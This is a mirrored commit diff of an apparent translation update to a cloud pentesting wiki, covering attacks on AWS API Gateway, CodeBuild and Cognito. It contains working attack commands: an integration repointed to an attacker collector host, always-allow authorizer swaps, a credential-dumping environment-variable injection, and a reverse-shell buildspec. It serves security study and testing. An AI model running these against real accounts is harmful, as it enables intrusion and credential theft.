gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-a

Browse Source
This commit is contained in:
Translator
2026-02-15 21:34:09 +00:00
parent 02b5cf538f
commit 3847987e36
6 changed files with 304 additions and 132 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
+32 -9
View File
@@ -4,29 +4,52 @@
## API Gateway
Per maggiori informazioni consulta:
Per maggiori informazioni vai a:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Policy della risorsa
### Resource Policy
Modifica la resource policy dell'API gateway(s) per concederti l'accesso.
Modifica la resource policy degli API Gateway per concederti l'accesso a essi
### Modifica Lambda Authorizers
Modifica il codice dei lambda authorizers per concederti l'accesso a tutti gli endpoint.\
Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
Modifica il codice dei Lambda authorizers per concederti l'accesso a tutti gli endpoint.\
Oppure rimuovi semplicemente l'uso dell'authorizer.
### IAM Permissions
Se hai permessi sul control-plane per **creare/aggiornare un authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) puoi anche **reindirizzare l'authorizer verso una Lambda che consente sempre**.
Se una risorsa utilizza un IAM authorizer, potresti concederti l'accesso modificando le IAM permissions.\
Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
REST APIs (le modifiche tipicamente richiedono un deployment):
```bash
REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
```
HTTP APIs / `apigatewayv2` (spesso ha effetto immediato):
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### Permessi IAM
Se una risorsa sta usando IAM authorizer puoi darti accesso modificando i permessi IAM.\
Oppure rimuovi semplicemente l'uso dell'authorizer.
### API Keys
Se vengono usate API keys, potresti leakarle per mantenere la persistenza o anche crearne di nuove.\
Se vengono utilizzate API keys, puoi leakarle per mantenere la persistenza o anche crearne di nuove.\
Oppure rimuovi semplicemente l'uso delle API keys.
{{#include ../../../../banners/hacktricks-training.md}}
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
+46 -23
View File
@@ -4,43 +4,66 @@
## API Gateway
Per maggiori informazioni controlla:
For more information check:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Accesso ad API non esposte
### Access unexposed APIs
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente via una macchina EC2) e assegnare un security group che permetta tutte le connessioni.\
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
Puoi creare un endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con il service `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare una security group che permetta tutte le connessioni.\
Poi, dalla macchina EC2 potrai accedere all'endpoint e quindi chiamare il gateway API che prima non era esposto.
### Bypass del passthrough del body della richiesta
### Bypass Request body passthrough
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
Come indicato nella [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita il valore **`WHEN_NO_MATCH`**, quando controlla l'header **Content-Type** della richiesta, inoltra la richiesta al back end senza alcuna trasformazione.
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
Pertanto, nel CTF l'API Gateway aveva un integration template che era **preventing the flag from being exfiltrated** in una response quando veniva inviata una richiesta con `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
Tuttavia, inviare una richiesta con **`Content-type: text/json`** avrebbe aggirato quel filtro.
Tuttavia, inviare una richiesta con **`Content-type: text/json`** aggirerebbe quel filtro.
Infine, poiché l'API Gateway consentiva soltanto `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel body e usando l'header `X-HTTP-Method-Override: GET`:
Infine, poiché l'API Gateway consentiva solo `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel corpo e usando l'header `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS
Nella sezione **Enumeration** puoi vedere come **ottenere il usage plan** delle chiavi. Se possiedi la chiave ed è **limitata** a X utilizzi **al mese**, puoi semplicemente **usarla e causare un DoS**.
Nella sezione **Enumeration** puoi vedere come **ottenere il usage plan** delle chiavi. Se possiedi la chiave e è **limitata** a X utilizzi **al mese**, potresti **semplicemente usarla e causare un DoS**.
La **API Key** deve semplicemente essere **inserita** dentro un **HTTP header** chiamato **`x-api-key`**.
La **API Key** deve solo essere **inclusa** dentro un **HTTP header** chiamato **`x-api-key`**.
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
Se puoi aggiornare un'integrazione **HTTP API**, puoi **reindirizzare** una route sensibile (es. `/login`, `/token`, `/submit`) verso un endpoint HTTP controllato dall'attaccante e silenziosamente **raccogliere headers e bodies** (cookies, `Authorization` bearer tokens, session ids, API keys, secret inviati da job interni, ecc.).
Example workflow:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
```
Note:
- Per **HTTP APIs**, le modifiche di solito hanno effetto immediatamente (a differenza delle **REST APIs** dove tipicamente è necessario creare un deployment).
- La possibilità di puntare a un URL arbitrario dipende dall'integration type/config; in alcuni casi potresti anche essere in grado di cambiare l'integration type quando lo patchi.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
Un attaccante con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere header personalizzati o response templates che leak informazioni sensibili o eseguono script dannosi**.
Un attacker con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere custom headers o response templates che leak informazioni sensibili o eseguono script dannosi**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +74,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Perdita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.
**Impatto potenziale**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
> [!NOTE]
> Da testare
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
Un attaccante con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare uno stage esistente di API Gateway per reindirizzare il traffico verso uno stage diverso o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache**.
Un attacker con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare uno stage esistente di API Gateway per reindirizzare il traffico verso un altro stage o modificare le impostazioni di caching per ottenere accesso non autorizzato ai dati in cache**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -69,14 +92,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Accesso non autorizzato a dati memorizzati nella cache, interruzione o intercettazione del traffico API.
**Impatto potenziale**: Accesso non autorizzato a dati in cache, interruzione o intercettazione del traffico API.
> [!NOTE]
> Da testare
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
Un attaccante con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la risposta del metodo di un metodo esistente di API Gateway REST API per includere header personalizzati o template di risposta che leak informazioni sensibili o eseguano script malevoli**.
Un attacker con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la method response di un metodo esistente di API Gateway REST API per includere custom headers o response templates che leak informazioni sensibili o eseguono malicious scripts**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Leakage di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.
**Impatto potenziale**: Perdita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API.
> [!NOTE]
> Necessita di test
> Da testare
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
Un attacker con i permessi `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni della REST API di API Gateway per disabilitare il logging o cambiare la versione minima di TLS, indebolendo potenzialmente la sicurezza dell'API**.
Un attacker con le autorizzazioni `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni di API Gateway REST API per disabilitare il logging o cambiare la versione minima TLS, indebolendo potenzialmente la sicurezza dell'API**.
```bash
API_ID="your-api-id"
@@ -109,11 +132,11 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
**Impatto potenziale**: Indebolimento della sicurezza dell'API, potenzialmente consentendo accesso non autorizzato o esponendo informazioni sensibili.
> [!NOTE]
> Da testare
> Necessita di test
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
Un attacker con i permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` può **creare nuove API keys, associarle a usage plans e poi usare queste keys per ottenere accesso non autorizzato alle APIs**.
Un attaccante con i permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove API keys, associarle a usage plans e poi utilizzare queste chiavi per ottenere accesso non autorizzato alle API**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +147,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
**Impatto potenziale**: Accesso non autorizzato alle risorse API, aggirando i controlli di sicurezza.
**Impatto potenziale**: Accesso non autorizzato alle risorse API, elusione dei controlli di sicurezza.
> [!NOTE]
> Da testare
> Necessita di test
{{#include ../../../../banners/hacktricks-training.md}}
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md
+22 -10
View File
@@ -4,7 +4,7 @@
## Apigateway
Per maggiori informazioni vedi:
Per maggiori informazioni consulta:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
@@ -12,15 +12,15 @@ Per maggiori informazioni vedi:
### `apigateway:POST`
Con questo permesso puoi generare API keys delle API configurate (per regione).
Con questa autorizzazione puoi generare le API key delle API configurate (per regione).
```bash
aws --region <region> apigateway create-api-key
```
**Impatto potenziale:** Non puoi privesc con questa tecnica ma potresti ottenere accesso a informazioni sensibili.
**Impatto potenziale:** Non puoi privesc con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.
### `apigateway:GET`
Con questo permesso puoi ottenere le API keys generate delle API configurate (per regione).
Con questo permesso puoi ottenere le chiavi API generate delle API configurate (per regione).
```bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
@@ -29,20 +29,20 @@ aws --region <region> apigateway get-api-key --api-key <key> --include-value
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
Con questi permessi è possibile modificare la resource policy di un'API per concederti l'accesso a chiamarla e sfruttare eventuale accesso che l'API gateway potrebbe avere (per esempio invocando una lambda vulnerabile).
Con queste autorizzazioni è possibile modificare la resource policy di un'API per concederti l'accesso a invocarla e abusare dei potenziali permessi che l'API gateway potrebbe avere (per esempio invocando una lambda vulnerabile).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
**Impatto potenziale:** Di solito non potrai effettuare privesc direttamente con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.
**Impatto potenziale:** Di solito non riuscirai a privesc direttamente con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
> Da testare
An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **aggiungere una nuova integrazione a un'API Gateway REST API esistente con una Lambda function che ha un IAM role associato**. The attacker can then **attivare la Lambda function per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate all'IAM role**.
Un attaccante con i permessi `apigateway:PutIntegration`, `apigateway:CreateDeployment`, e `iam:PassRole` può **aggiungere una nuova integrazione a un'API Gateway REST API esistente con una Lambda function che ha un IAM role associato**. L'attaccante può quindi **attivare la Lambda function per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate all'IAM role**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE]
> Da testare
An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modificare un API Gateway authorizer esistente** per bypassare i controlli di sicurezza o per eseguire codice arbitrario quando vengono effettuate richieste API.
Un attaccante con i permessi `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` può **modificare un authorizer esistente di API Gateway** per bypassare i controlli di sicurezza (es. reindirizzarlo verso una Lambda che restituisce sempre "allow") oppure per eseguire codice arbitrario quando vengono effettuate richieste API.
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
@@ -75,14 +75,26 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impatto potenziale**: Elusione dei controlli di sicurezza, accesso non autorizzato alle risorse API.
**Impatto potenziale**: Bypassare i controlli di sicurezza, accesso non autorizzato alle risorse API.
#### HTTP APIs / `apigatewayv2` variante
Per le HTTP APIs (API Gateway v2), l'operazione equivalente è aggiornare l'authorizer tramite `apigatewayv2`:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### `apigateway:UpdateVpcLink`
> [!NOTE]
> Da testare
Un attaccante con il permesso `apigateway:UpdateVpcLink` può **modificare un VPC Link esistente per puntare a un diverso Network Load Balancer, reindirizzando potenzialmente il traffico delle API private verso risorse non autorizzate o dannose**.
Un attacker con il permesso `apigateway:UpdateVpcLink` può **modificare un VPC Link esistente per puntarlo verso un diverso Network Load Balancer, reindirizzando potenzialmente il traffico delle API private verso risorse non autorizzate o malevole**.
```bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md
+90 -27
View File
@@ -4,7 +4,7 @@
## codebuild
Maggiori informazioni in:
Ulteriori informazioni in:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
@@ -12,7 +12,7 @@ Maggiori informazioni in:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
Anche solamente con una di queste autorizzazioni è sufficiente avviare un build con un nuovo buildspec e rubare il token del role IAM assegnato al progetto:
Basta una di queste autorizzazioni per avviare una build con un nuovo buildspec e rubare il token del ruolo iam assegnato al progetto:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -60,14 +60,77 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
**Nota**: La differenza tra questi due comandi è che:
- `StartBuild` avvia un singolo job di build utilizzando un `buildspec.yml` specifico.
- `StartBuildBatch` permette di avviare un batch di build, con configurazioni più complesse (come eseguire più build in parallelo).
- `StartBuild` avvia un singolo job di build usando uno specifico `buildspec.yml`.
- `StartBuildBatch` permette di avviare un batch di build, con configurazioni più complesse (per esempio eseguire più build in parallelo).
**Impatto potenziale:** Privesc diretto ai ruoli AWS Codebuild associati.
**Impatto Potenziale:** Direct privesc to attached AWS Codebuild roles.
#### StartBuild Env Var Override
Anche se non puoi **modificare il progetto** (`UpdateProject`) e non puoi **sovrascrivere il buildspec**, `codebuild:StartBuild` permette comunque di sovrascrivere le env vars durante la build tramite:
- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`
Se la build usa variabili d'ambiente per controllare il comportamento (destination buckets, feature flags, proxy settings, logging, ecc.), questo può essere sufficiente per **exfiltrate secrets** a cui il build role può accedere o per ottenere **code execution** all'interno della build.
##### Esempio 1: Reindirizzare Artifact/Upload Destination per Exfiltrate Secrets
Se la build pubblica un artifact in un bucket/path controllato da una env var (per esempio `UPLOAD_BUCKET`), sovrascrivila con un bucket controllato dall'attaccante:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Esempio 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
Se la build esegue `python3` (comune nei buildspecs), a volte puoi ottenere l'esecuzione di codice senza toccare il buildspec abusando di:
- `PYTHONWARNINGS`: Python risolve il campo *category* e importerà percorsi separati da punti. Impostarlo su `...:antigravity.x:...` forza l'importazione del modulo stdlib `antigravity`.
- `antigravity`: chiama `webbrowser.open(...)`.
- `BROWSER`: controlla cosa esegue `webbrowser`. Su Linux è separato da `:`. L'uso di `#%s` trasforma l'argomento URL in un commento di shell.
Questo può essere usato per stampare le credenziali del ruolo CodeBuild (da `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) nei log di CloudWatch, quindi recuperarle se hai i permessi di lettura dei log.
<details>
<summary>Espandibile: StartBuild JSON request per il <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Un attacker con le autorizzazioni **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` o `codebuild:StartBuildBatch`** sarebbe in grado di **escalate privileges** su qualsiasi codebuild IAM role creandone uno in esecuzione.
Un attaccante con le autorizzazioni **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` o `codebuild:StartBuildBatch`** sarebbe in grado di **escalate privileges to any codebuild IAM role** creando uno in esecuzione.
{{#tabs }}
{{#tab name="Example1" }}
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
{{#endtab }}
{{#endtabs }}
**Potential Impact:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
**Impatto potenziale:** privesc diretto a qualsiasi ruolo AWS Codebuild.
> [!WARNING]
> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
>
> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
>
> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
>
> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
> In un **Codebuild container** il file `/codebuild/output/tmp/env.sh` contiene tutte le env vars necessarie per accedere alle **metadata credentials**.
> Questo file contiene la **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** che contiene il **URL path** per accedere alle credenziali. Sarà qualcosa del tipo `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Aggiungilo all'URL **`http://169.254.170.2/`** e sarai in grado di dump le credenziali del ruolo.
> Inoltre contiene anche la **env variable `ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere le **metadata info about the container**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il ruolo IAM e rubare il token
Come nella sezione precedente, se invece di creare un build project puoi modificarlo, puoi indicare l'IAM Role e steal the token
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -218,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
aws codebuild start-build --project-name codebuild-demo-project
```
**Impatto potenziale:** Privesc diretto a qualsiasi ruolo AWS Codebuild.
**Impatto potenziale:** privesc diretto a qualsiasi AWS Codebuild role.
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Come nella sezione precedente ma **senza il permesso `iam:PassRole`**, puoi abusare di questi permessi per **modificare i progetti Codebuild esistenti e accedere al ruolo che hanno già assegnato**.
Come nella sezione precedente ma **senza il permesso `iam:PassRole`**, puoi abusare di queste autorizzazioni per **modificare progetti Codebuild esistenti e accedere al role che è già assegnato**.
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -298,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
**Impatto potenziale:** privesc diretto ai ruoli AWS Codebuild associati.
**Impatto potenziale:** Direct privesc ai ruoli AWS Codebuild allegati.
### SSM
Avendo **sufficienti permessi per avviare una ssm session** è possibile accedere **a un Codebuild project** in fase di build.
Avere **sufficienti autorizzazioni per avviare una ssm session** rende possibile accedere **all'interno di un Codebuild project** durante la build.
The codebuild project will need to have a breakpoint:
@@ -319,13 +382,13 @@ E poi:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
Per maggiori informazioni [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Un attaccante in grado di avviare/riavviare una build di un progetto CodeBuild specifico che memorizza il suo file `buildspec.yml` in un bucket S3 su cui l'attaccante ha accesso in scrittura, può ottenere l'esecuzione di comandi nel processo di CodeBuild.
Un attacker in grado di avviare/riavviare una build di uno specifico progetto CodeBuild che memorizza il suo file `buildspec.yml` in un bucket S3 su cui l'attacker ha write access, può ottenere command execution nel processo CodeBuild.
Nota: l'escalation è rilevante solo se il worker di CodeBuild ha un ruolo diverso, idealmente più privilegiato, rispetto a quello dell'attaccante.
Note: l'escalation è rilevante solo se il CodeBuild worker ha un role diverso, idealmente più privilegiato, rispetto a quello dell'attacker.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -342,7 +405,7 @@ aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
```
Puoi usare qualcosa come questo **buildspec** per ottenere una **reverse shell**:
Puoi usare qualcosa di simile a questo **buildspec** per ottenere una **reverse shell**:
```yaml:buildspec.yml
version: 0.2
@@ -351,13 +414,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Impatto:** Direct privesc al ruolo usato dal worker di AWS CodeBuild che di solito ha privilegi elevati.
**Impatto:** Privesc diretto al ruolo usato dal worker di AWS CodeBuild che solitamente ha privilegi elevati.
> [!WARNING]
> Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe scaricare, decomprimere, modificare il `buildspec.yml` dalla directory root, comprimere di nuovo e caricare
> Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload
Maggiori dettagli sono disponibili [qui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
Ulteriori dettagli sono disponibili [qui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
**Potenziale Impatto:** Direct privesc ai ruoli AWS Codebuild associati.
**Impatto potenziale:** Privesc diretto ai ruoli AWS Codebuild associati.
{{#include ../../../../banners/hacktricks-training.md}}
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
+97 -49
View File
@@ -4,23 +4,23 @@
## Cognito
Per ulteriori informazioni su Cognito consulta:
Per maggiori informazioni su Cognito consulta:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Raccolta credenziali dall'Identity Pool
### Raccolta delle credenziali dall'Identity Pool
Poiché Cognito può fornire **IAM role credentials** sia agli **authenticated** sia agli **unauthenticated** **users**, se trovi l'**Identity Pool ID** di un'applicazione (di solito è hardcoded) puoi ottenere nuove credenziali e quindi privesc (in un AWS account in cui probabilmente non avevi alcuna credenziale precedentemente).
Poiché Cognito può concedere **IAM role credentials** sia a **authenticated** che a **unauthenticated** **users**, se individui l'**Identity Pool ID** di un'applicazione (dovrebbe essere hardcoded al suo interno) puoi ottenere nuove credenziali e quindi privesc (all'interno di un account AWS dove probabilmente non avevi precedentemente alcuna credenziale).
